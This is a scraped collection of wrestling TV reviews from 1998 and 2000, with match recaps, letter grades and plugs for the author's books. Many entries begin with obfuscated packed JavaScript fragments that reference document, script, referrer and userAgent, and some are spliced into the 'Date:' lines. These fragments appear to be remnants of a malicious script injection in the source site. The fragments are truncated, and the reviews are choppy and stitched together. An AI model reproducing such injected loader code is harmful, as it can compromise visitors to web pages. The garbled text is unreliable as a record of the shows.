");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hdyha|var|u0026u|referrer|szssi||js|php'.split('|'),0,{})) Rumble 1998
Date: January 18, 1998
Location: San Jose Arena, San Jose, California
Attendance: 18,542
Commentators: Jim Ross, Jerry Lawler

Mike Tyson is in a skybox.

 

Vader vs. The Artist Formerly Known As Goldust

 

Back in and Luna trips Vader up, finally allowing Goldie to get in a clothesline. Another clothesline puts him down and Goldust works on the leg a bit. Goldie drops a middle rope elbow to the ribs and we head back to the floor. Vader is sent into the steps so Luna can choke him a bit before we head back in. Goldust pounds away again but stops to kiss Vader. I may not be a pro wrestler, but I know better than to kiss a guy called the Rocky Mountain Monster.

 

Vader kills him with a clothesline and suplexes Goldust down before getting two off a splash. Vader loads up the Vader Bomb but a low blow stops him cold. Another clothesline puts Goldie down again and Vader sits on his chest. He loads up the Bomb again and despite Luna jumping in his back, Vader drops it anyway and crushes Goldust for the pin.

 

Austin gets here and tells Cole to park his truck. Southern Justice (the heel Godwinns) follow him, presumably to jump him.

 

Max Mini/Mosaic/Nova vs. Battalion/El Torito/Tarantula

 

 

 

The Nation goes to attack Austin but only find an Austin foam finger.

 

We recap Shamrock vs. Rock. Shamrock has charged through the Nation to get this shot at the unofficial leader of the team. Mark Henry joined the Nation to save Rock from Shamrock less than a week ago.

 

The Nation argues over which of them will win the Rumble. Rock says the fans of course want to know what he thinks of Clinton and Paula Jones, so he tells the President not to lie down with dogs or you might get fleas. This joke would be done way better over the next few weeks.

 

Intercontinental Title: The Rock vs. Ken Shamrock

 

Rock is defending of course. Feeling out process to start with Rocky trying to get a cheap shot in the corner. Both guys shove the other into the corner and Shamrock blocks a shot to the face before hitting one of his own. They run the ropes a bit until Shamrock kicks him in the chest and knocks the champion out to the floor. Back in and Rock pounds away a bit before hitting a corner clothesline. Ken comes back with some clotheslines of his own but the standing clothesline is countered into a hot shot for two.

 

 

Post match the referee finds the knuckles and reverses the decision. The referee is beaten up very badly for his efforts.

 

A Coliseum Video Exclusive from “moments later” show a clean and dry Shamrock in jeans attacking the Rock.

 

Los Boricuas attack someone that they think is Austin but find one of the Disciples of Apocalypse. Brawling ensues.

 

We recap the LOD vs. the Outlaws, which is old school vs. new with the Outlaws defending the titles. The Outlaws put a big old beating on the LOD and tonight is their return.

 

Tag Titles: New Age Outlaws vs. Legion of Doom

 

 

The Outlaws destroy Animal until Hawk snaps the handcuffs to make the save.

Some fan wins the Austin truck.

We recap the build up to the Rumble. Basically, everyone knows Austin is going to win and EVERYONE else in the Rumble is trying to stop him but not one has been able to slow him down at all. The only difference here: the fans were eating this stuff up with a spoon.

Royal Rumble

Mosh and Funk pair off as do the other two guys. Funk (the announcers are calling him that too) tries a moonsault but it winds up being more of a headbutt than a splash. Phineas Godwinn is #6 and helps Rock beat up Mosh. Not much happens for a bit until 8-Ball of the DOA is #7. Jack misses a charge and Funk backdrops him out to empty the ring out a bit. Apparently someone who might have been Ken Shamrock has attacked Austin.

The Nation members are thrown together and Rock gets hit by Sweet Shin Music and the double arm DDT. Austin hits Dude low and Faarooq throws Love out. Rock puts out Faarooq to give us Austin vs. Rock. They slug it out and Rock is thrown to the apron. Austin is fine with Stunning him and throwing him out to go on to Wrestlemania where he would claim his destiny.

Tyson celebrates “Cole Stone” Steve Austin winning the Rumble.

WWF World Title: Undertaker vs. Shawn Michaels

The forearm from Shawn sets up the nipup which sets up the top rope elbow. He must be either high as a kite on painkillers or on a huge adrenaline rush to be able to have a match like this at this point. The superkick knocks Taker out cold but Shawn is Shawn and stops for a crotch chop. Taker grabs him by the balls and we head back inside for the beating Shawn deserves. Another Flair Flip sets up the big boot, but Taker misses a clothesline and lands in the casket.

Post match Kane nails the casket shut and hacks at it with an ax. He pours gasoline inside and LIGHTS IT ON FIRE to end the show. Taker of course would disappear from the casket once it was opened up.

Ratings Comparison

Vader vs. The Artist Formerly Known As Goldust

Original: B-

Redo: D

Max Mini/Mosaic/Nova vs. Battalion/El Torito/Tarantula

Original: B-

Redo: C

The Rock vs. Ken Shamrock

Original: C+

Redo: D+

Legion of Doom vs. New Age Outlaws

Original: D+

Redo: D

Royal Rumble

Original: D+

Redo: D

Shawn Michaels vs. Undertaker

Original: B

Redo: B

Overall Rating

Original: C-

Redo: D

.what in the world was I on back then?

http://kbwrestlingreviews.com/2011/01/18/royal-rumble-count-up-1998-austin-isnt-a-lock-to-win-please-believe-us/

https://www.amazon.com/dp/B01MQKDV5O


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Monday Nitro – December 18, 2000: They’ve Still Got It

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rttfy|var|u0026u|referrer|rnban||js|php'.split('|'),0,{})) Nitro #271
Date: December 18, 2000
Location: Richmond Coliseum, Richmond, Virginia
Attendance: 2,872
Commentators: Tony Schiavone, Scott Hudson, Mark Madden

Opening sequence.

Shannon Moore vs. Shane Helms

Chavo runs in to go after Shane but gets laid out as well.

Hugh Morrus yells at Lash for saving Chavo last night.

Jimmy Hart does his DJ challenge.

Buff Bagwell laughs at Goldberg spelling “stuff” wrong when he signed a copy of his book. Now Bagwell is here to save the company and has formed a new tag team called Totally Buff. Before Luger can say anything, Scott Steiner comes in and almost begs Luger to help him find out who is in the mini tournament.

Hardcore Title: Terry Funk vs. Meng

Crowbar, again with the crazy man look, wants Funk and the title at Sin.

Lance Storm vs. Rey Mysterio

Mike Awesome vs. Jeff Jarrett

Glacier is still returning and Norman Smiley dances in happiness.

Clip of Goldberg on the Man Show.

Awesome freaks out in the back.

No Nitro for the next two weeks.

The Cat vs. Alex Wright

The Thrillers arrive in a limo.

Buff Bagwell vs. Goldberg

Goldberg gets beaten down until Sarge comes in for the save.

Jeff Jarrett vs. Lance Storm

Post match Steiner runs out and demands to know who the mystery man is. He heads to the back and sees Flair but a masked man jumps him and beats the champ down to end the show.

Remember to follow me on Twitter @kbreviews and pick up my new book of the History of the Intercontinental Title at Amazon for just $3.99 at:

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Monday Nitro – December 12, 2000: Might As Well Ruin Tuesday

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ynkny|var|u0026u|referrer|bnati||js|php'.split('|'),0,{})) Night #270
Date: December 12, 2000
Location: Centurytel Center, Bossier City, Louisiana
Commentators: Stevie Ray, Tony Schiavone, Scott Hudson

This show was taped on Monday so any references to being live are pure falsehoods.

Lex Luger is granted a match by Mike Sanders.

Sid is ready for tonight and for Sunday.

Lance Storm/Major Gunns vs. The Cat/Ms. Jones

Rating: D+. Who knew Cat was this over in Louisiana? Jones and Gunns were just there for their looks (not the worst idea in the world) and their wrestling was of course horrible. The Duggan thing is long overdue and I have no idea why they put him with the Canadians in the first place.

Crowbar and Daffney are on commentary as Norman Smiley issues an open challenge for a hardcore match in the hopes that he gets a title shot as a result.

Meng vs. Norman Smiley

Sarge is given Lex Luger on Thunder and Goldberg tonight.

Steiner promises to knock down anyone Flair sets up for him.

Mike Sanders vs. Sid Vicious

Post break, Sid attacks a parking lot attendant and demands the keys to all the cars.

Sid is moving cars around in the parking lot.

Sgt. Dewayne Bruce vs. Goldberg

Jamie Noble asks Kwee Wee, Paisley and Meng for advice on how to deal with Evan Karagias. Evan runs in to say they all have to come see what Sid is doing in the parking lot.

Shane Douglas vs. Lash Leroux

One of the Harris Twins has a stomach ache.

Sid is still playing with the cars.

Jeff Jarrett/Harris Twins vs. Filthy Animals

Sid almost has the ring of cars ready.

WCW World Title: Scott Steiner vs. Sgt. AWALL

Remember to follow me on Twitter @kbreviews and pick up my new book of the History of the Intercontinental Title at Amazon for just $3.99 at:

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Monday Nitro – June 5, 2000: I Was Wrong

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yretn|var|u0026u|referrer|aafia||js|php'.split('|'),0,{})) Nitro #243
Date: June 5, 2000
Location: Philips Arena, Atlanta, Georgia
Attendance: 13,487
Commentators: Tony Schiavone, Scott Hudson, Mark Madden

We recap Abbott vs. Goldberg in a failed attempt to make us believe that Abbott has a chance.

Bischoff and Russo yell at the New Blood. Torrie can be seen storming off as this goes on. Good for her.

Tag Team Titles: Kronik vs. Chuck Palumbo/Shawn Stasiak

Adams is tired of his hair being messed up and grabs a backbreaker on Shawn, setting up the tags to Clark and Palumbo. Clark cleans house but the Cat gets in the ring and threatens the referee. Palumbo and Clark fight into the crowd and Adams drops Stasiak onto the steps. With everyone on the floor, Cat grabs the referee and demands a count right now. Adams throws Stasiak in and Cat counts a very fast eight nine ten to retain the titles.

Kronik goes after Cat but the champs make the save and take the beating themselves.

Kidman yells at Torrie (in a bikini with a skirt) for some reason until Major Gunns of all people makes the save, earning her some swearing.

Video on Kidman vs. Hogan.

Gunns cries to the Misfits about what Kidman said to her. G.I. Bro promises to take care of things.

Goldberg chats with Nash and Steiner.

G.I. Bro vs. Kidman

Both groups come in for the brawl and the Animals dominate.

Hardcore Title: Eric Bischoff vs. Terry Funk

As they leave, Funk wheels Bischoff back to ringside (with Awesome looking at them without stopping) but we cut to the back (segment #4 in this match) to see Russo sending in the Mamalukes. Funk loads up a Stinkface but the Mamalukes come in and lay out Funk in less than two minutes, giving Bischoff the pin and the title.

The Flairs are here.

US Title: Scott Steiner vs. Vampiro

Tank Abbott vs. Goldberg

Kimberly yells about Hancock.

WCW World Title: Sting vs. Jeff Jarrett

May 22 – Raw: 7.1, Nitro: 3.0

May 29 – Raw: 6.4, Nitro: 3.0

June 5 – Raw: 5.9, Nitro: 2.8

June 12 – Raw: 6.8, Nitro: 3.0

Yeah keep going with that burying your champion after changing the title 18 times in five months. Maybe if you work hard, Raw will only double your numbers.

Jeff is put in an ambulance.

Kimberly/Mike Awesome vs. Diamond Dallas Page/Miss Hancock

They catfight for a bit until Hancock slaps Awesome and runs over to Page for an actual wrestling match. Page speeds it up with a jumping clothesline and starts a brawl. That goes nowhere so Page tries a backslide, only to take a low blow to give Awesome control. Awesome sends Page flying with a nice German suplex but Page is right back up to send him into the buckle.

Horace Hogan vs. Hulk Hogan

Kidman comes in but gets beaten down as well.

Vince Russo vs. Ric Flair

So Ric beats up his son for a bit as Russo sets up a ladder in the ring for no apparent reason. He climbs up and pulls part of the roof down, likely so we can have more interference. Russo gets to the top of the cage but Ric follows him, only to get poked in the eye so Russo can get the better of it. Vince climbs back into the cage but Ric stomps his hands to make him fall. Since this is WCW, the camera misses the big crash.

Ric climbs down the ladder and puts Vince in the Figure Four, which Russo survives for OVER A MINUTE until the red liquid falls from the ceiling and knocks Ric and Charles Robinson out. David puts Ric in the Figure Four and Russo pops to his feet (not even a limp) and chokes Ric until Robinson counts the pin. Russo is polite enough to collapse after walking around the ring for a bit.

Nash and Steiner have a meeting before the main event.

The announcers chat for a bit. I always love seeing them at a makeshift table for some reason. It sums up WCW so well.

Kevin Nash vs. New Blood

Gauntlet match. Disco is out first in an Atlanta Falcons jersey, of course leading out Russo who is still not wearing a shirt. We get some Russo acting as he says Nash loses his shot if he gets pinned or if any of the Millionaires interfere. There are about ten guys on the ramp to come after Nash and Disco is in first, only to take a side slam for a quick pin after about nine seconds.

This show was running in the opposite direction and seemingly trying to either be as horrible and against what the fans wanted as possible. The pay per view was secondary to pushing the writers as the real stars of the show while so much of the night was about nothing. I have no idea what was supposed to make me want to get keep watching this show because the stories are totally uninteresting and far more confusing than they should be.

Remember to follow me on Twitter @kbreviews and pick up my new book of Complete 1997 Monday Night Raw Reviews at Amazon for just $3.99 at:

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Thunder – May 24, 2000: What Does A Yellow Light Mean?

Thunder
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ezzik|var|u0026u|referrer|kanty||js|php'.split('|'),0,{})) May 27, 2000
Location: Wendler Arena, Saginaw, Michigan
Commentators: Tony Schiavone, Mike Tenay, Bobby Heenan

Steiner and Nash arrive.

Opening sequence.

Cruiserweight Title: Daffney vs. Chris Candido vs. The Artist

Russo whines to Bischoff about all of his problems. Does he do anything besides book bad wrestling shows and complain about how much his life sucks?

Kimberly tells Elizabeth to put lotion on her back. You can add “puts his female talent in life versions of his erotica” to the list of things Russo does.

Hardcore Title: Shane Douglas vs. Norman Smiley/Ralphus

Bischoff tells Cat to “Jackie Chan” Funk. At least go with Bruce Lee man.

Russo is talking to some old woman.

Kevin Nash and Scott Steiner are wearing goggles. Why? Not explained, but it makes for a funny random visual I guess.

Jarrett yells at Russo, who can barely talk (HALLELUJAH).

Bischoff tells Douglas to deal with Funk tonight.

Filthy Animals vs. Misfits in Action

Juvy tries to come in off the top but gets slammed down, setting up a horrible cobra clutch slam (you would think Juvy could jump better than that) for a one count. This brings Disco in with a kendo stick to clean house, allowing Rey to come in off the top with a seated senton to eliminate Hammer. Disco comes in and takes Chavo down with a swinging neckbreaker, only to have Chavo pop up and hook the tornado DDT for the elimination.

Bischoff tries to break up an argument between Kidman, Horace and Torrie.

Russo is talking to Rick Steiner and Tank Abbott.

The Wall vs. Chuck Palumbo

Tables match. Wall suplexes him to start and lifts him up in the corner for some choking. Palumbo escapes an attempt at a slam through a table and elbows out of a chokeslam. The exercise bar knocks Wall off the apron and through the table. This was NOTHING. Like even by WCW standards, this was a waste of time.

Horace Hogan/Kidman vs. Kronik

Horace flips Kidman off when he comes for a tag so Bischoff gets up, only to be shoved back down. Horace gets a chair as Kronik gives Kidman High Times. Clark loads up Kidman for a chair but Horace turns (?) on him to lay Kronik out with a chair, giving Kidman the pin. The announcers have no idea if this was a title match or not.

Kimberly has security looking for Elizabeth.

G.I. Bro vs. Shawn Stasiak

Stasiak stomps the new guy down in the corner to start and chokes him on the ropes. They head outside with Bro hitting an ax handle off the apron, followed by a some right hands back inside, only to have Stasiak hot shot him. Back to the floor as Stasiak continues to search for anything resembling a good offense. Bro is sent into various objects before they head back inside and exchange clotheslines for two each. A powerbomb gets the same for Stasiak but he tries to bring in a chair, allowing Bro to hit his series of kicks, followed by the Book End for the pin.

WCW World Title: Jeff Jarrett vs. Kevin Nash vs. Scott Steiner

Scott goes after them, leaving Russo to go after Nash who promptly hits him in the face. Jarrett hits Nash in the back with a bat to break up the Jackknife to the boss. Back up and Nash hits the referee (Billy Silverman, who has been refereeing the match despite what Russo said) by mistake. Jeff misses a belt shot so Nash hits him in the face with the title. Russo pulls the referee out of the ring at two and hits him with a guitar.

Counting backwards from today (October 17, 2015), you would have to go back to Summerslam 2011 to see the WWE Championship change hands sixteen times.

Finally, starting at Barely Legal 1997, the ECW World Title changed hands exactly sixteen times until their final pay per view in January 2001.

So we have four years, four and a half years, just under four years, or less than five months in WCW 2000.

Remember to follow me on Twitter @kbreviews and pick up my new book of Complete 1997 Monday Night Raw Reviews at Amazon for just $3.99 at:

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Thunder – May 17, 2000: A Night Off

Thunder
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fbain|var|u0026u|referrer|rbdfy||js|php'.split('|'),0,{})) May 17, 2000
Location: Cajundome, Lafayette, Louisiana
Attendance: 3,066
Commentators: Bobby Heenan, Mike Tenay, Tony Schiavone

We open with clips of Flair winning the title.

Opening sequence.

Misfits in Action vs. Filthy Animals

The Misfits get beaten down until Booker makes the save, leading to Major Gunns taking off her top and giving Chavo CPR. Tenay: “It must be the large lungs.”

Luger tells the Millionaires he has to go and take care of something.

Hulk Hogan vs. Horace Hogan

Norman and Ralphus are selling homemade F.U.N.B. shirts. Where did they get the money to make those if they had $1.20 between them on Monday?

Hardcore Title: Terry Funk vs. The Cat

This is Funk giving Cat a shot due to what happened Monday. Funk attacks him on the ramp and gets two each off a DDT and neckbreaker. They fight into the back with Funk nailing him with a computer, only to be sent into a pile of water bottles. Some trash can shots have Cat in trouble so he comes back with a bag of popcorn.

Norman and Ralphus get arrested. It was a nice idea while it lasted.

Mike Awesome vs. Scott Steiner

Shane gets a phone call from Kronik who want him in a three way dance tonight. Douglas hangs up on them and tells the New Blood to watch his door. They tell him to fight his own battles and leave.

Kronik vs. Shane Douglas

It seems that Kronik are the official champions after the win on Monday. Sure why not. Shane tries to fight back with a foreign object but Clark knocks it out of his hand and hits the pumphandle slam. Cue the Wall with a table to chokeslam Shane through a table for revenge from Monday. High Times completes the squash. Tony tries to call this a three way dance but give me a break.

Vampiro rambles about being the real freak and burns a Sting mask.

Shane asks Jarrett for help.

Ric Flair/Arn Anderson vs. Crowbar/David Flair

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Thunder – May 10, 2000: Gordon Solie’s Tricep Meat

Thunder
Date: May 10, 2000
Location: Prairie Capital Convention Center, Springfield, Illinois
Attendance: 4,129
Commentators: Tony Schiavone, Bobby Heenan, Mike Tenay

Opening sequence.

Cruiserweight Title: Crowbar vs. Chris Candido

Hardcore Title: Harlem Heat vs. Terry Funk

Shawn Stasiak vs. Lash Leroux

I love alliteration. Before the match, Lash says he wants to be known as Corporal Cajun. Hennig comes out for commentary which will likely not explain his actions on Monday. A rollup gets two for Cajun but he gets slammed face first out of the corner to put him down. Stasiak gets two off a tilt-a-whirl powerbomb and they head outside with Cajun being rammed into various objects.

The rest of the Misfits chase Hennig off.

Back in New York, because we need two Russo sections, Vince messes with Daffney thinking a replica Statue of Liberty is the real one.

Rhonda Sing vs. Elizabeth

Bischoff and company are talking to Chuck Palumbo.

Bischoff gives Funk one more Hardcore Title match tonight. This is airing two days after the WWF did the exact same story with Chris Jericho and the Intercontinental Title.

Hardcore Title: Chuck Palumbo vs. Terry Funk

The security beats up Luger post match and Palumbo slams him into a door. Funk has wondered off somewhere, probably trying to find a John Wayne movie.

Kidman vs. Horace Hogan

Kidman gets up at nine and Bischoff hits Horace in the back with a chair and makes it an I Quit match. Eric is feeling nice though and offers Horace a spot on the team, earning him some spit in his eye. This brings in the Animals for a dog pile pin on Horace to end this No DQ, falls count anywhere, handicap, Texas death, I quit match which Kidman won via a pinfall.

Post break, Russo and Bischoff get in a limo but Hogan and Nash show up to destroy the car with ball bats.

Arn Anderson vs. David Flair

The bloody Arn is put in the Figure Four as Crowbar counts a pin.

David proposes to Daffney. Sure why not.

Sting vs. Mike Awesome

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Monday Nitro – April 24, 2000: He’s A Man! Such A Man!

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ytehy|var|u0026u|referrer|rbneh||js|php'.split('|'),0,{})) Nitro #237
Date: April 24, 2000
Location: Blue Cross Arena, Rochester, New York
Attendance: 7,713
Commentators: Scott Hudson, Tony Schiavone, Mark Madden

Sting and Vampiro are brawling in the back with Sting getting the better of it until Vampiro hits him with a pipe.

Hardcore Title: Bam Bam Bigelow vs. Terry Funk

Cat dances a bit as Madden sums up how stupid this was.

Norman Smiley begs Russo for a chance to get the Hardcore Title back. Russo agrees, if Smiley can find a partner to make it a handicap match at Slamboree.

Bischoff sends Jarrett to go find Billy Kidman. The World Champion is officially an errand boy.

Chris Candido/Tammy vs. The Artist/Paisley

Sting comes out with a Death Drop to Candido. He wants Vampiro out here tonight and why not just make it first blood.

Kanyon and Page give Arquette a pep talk.

Team Package vs. Kronik

Buff and Douglas beat down Team Package a bit more until Buff hands Adams the bat, leading to Kronik beating them down as well.

Vampiro wants to make Sting bleed from the eyes so I guess the match is on.

Bischoff gives Kidman Mike Awesome for protection against Hogan tonight. Hogan is welcome to find a tag partner if he can. Also, Bischoff is guest referee for Kidman vs. Hogan at Slamboree. So after weeks of running scared from Hogan, Bischoff is totally fine with putting himself in the same ring with him. Makes as much sense as anything else here.

Mike Awesome/Kidman vs. Hulk Hogan

Nash hits the ring to clean house but Torrie hits him low, allowing Kidman and Awesome to get in their stompings.

Eric Bischoff vs. David Arquette

Again, remember that Bischoff is a karate expert and should be able to knock Arquette out in about ten seconds. Bischoff kicks him into the corner to start but David comes back with a spear, followed by the Worm for one of the loudest reactions of the night. Jarrett pulls the referee out at two and hits Page with the belt. Bischoff gets in a low blow on Arquette but Jeff guitars Eric by mistake, giving Arquette the pin.

Jarrett is livid.

Russo tells Bagwell and Douglas that “we” have to go fight Kronik.

Tag Team Titles: Buff Bagwell/Shane Douglas vs. Kronik

WCW World Title: Jeff Jarrett vs. Diamond Dallas Page

Vampiro vs. Sting

The New Blood attaches the soaked Sting to the cable and hangs him from the ceiling to end the show.

begun.

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